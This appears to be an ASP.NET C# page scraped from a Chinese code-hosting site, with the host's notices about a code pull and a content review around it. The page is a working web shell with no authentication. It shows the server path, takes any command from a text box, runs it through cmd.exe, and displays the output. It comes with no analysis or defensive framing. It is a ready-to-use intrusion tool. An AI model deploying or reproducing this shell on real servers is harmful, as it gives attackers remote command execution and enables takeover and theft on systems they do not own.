代码拉取完成,页面将自动刷新
<%@ Page Language="C#" Debug="true" Trace="false" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<script Language="c#" runat="server">
void Page_Load(object sender, EventArgs e)
{
txt_WebPath.Text = Server.MapPath(".");
}
string ExcuteCmd(string arg)
{
ProcessStartInfo psi = new ProcessStartInfo();
psi.FileName = "cmd.exe";
psi.Arguments = "/c "+arg;
psi.RedirectStandardOutput = true;
psi.UseShellExecute = false;
Process p = Process.Start(psi);
StreamReader stmrdr = p.StandardOutput;
string s = stmrdr.ReadToEnd();
stmrdr.Close();
return s;
}
void cmdExe_Click(object sender, System.EventArgs e)
{
cmdResult.Text = cmdResult.Text + Server.HtmlEncode(ExcuteCmd(txt_cmd.Text));
}
</script>
<HTML><body ><form id="cmd" method="post" runat="server">
<br />
WebPath:
<asp:TextBox ID="txt_WebPath" runat="server" Width="579px"></asp:TextBox>
<br />
<br />
<asp:Label ID="Label2" runat="server" Text="Commond: "></asp:Label>
<asp:TextBox ID="txt_cmd" runat="server" Width="581px"></asp:TextBox>
<asp:Button ID="Button1" runat="server" onclick="cmdExe_Click" Text="Execute" /><br /><br />
<asp:TextBox ID="cmdResult" runat="server" Height="662px" Width="798px" TextMode="MultiLine"></asp:TextBox>
</form></body></HTML>
此处可能存在不合适展示的内容,页面不予展示。您可通过相关编辑功能自查并修改。
如您确认内容无涉及 不当用语 / 纯广告导流 / 暴力 / 低俗色情 / 侵权 / 盗版 / 虚假 / 无价值内容或违法国家有关法律法规的内容,可点击提交进行申诉,我们将尽快为您处理。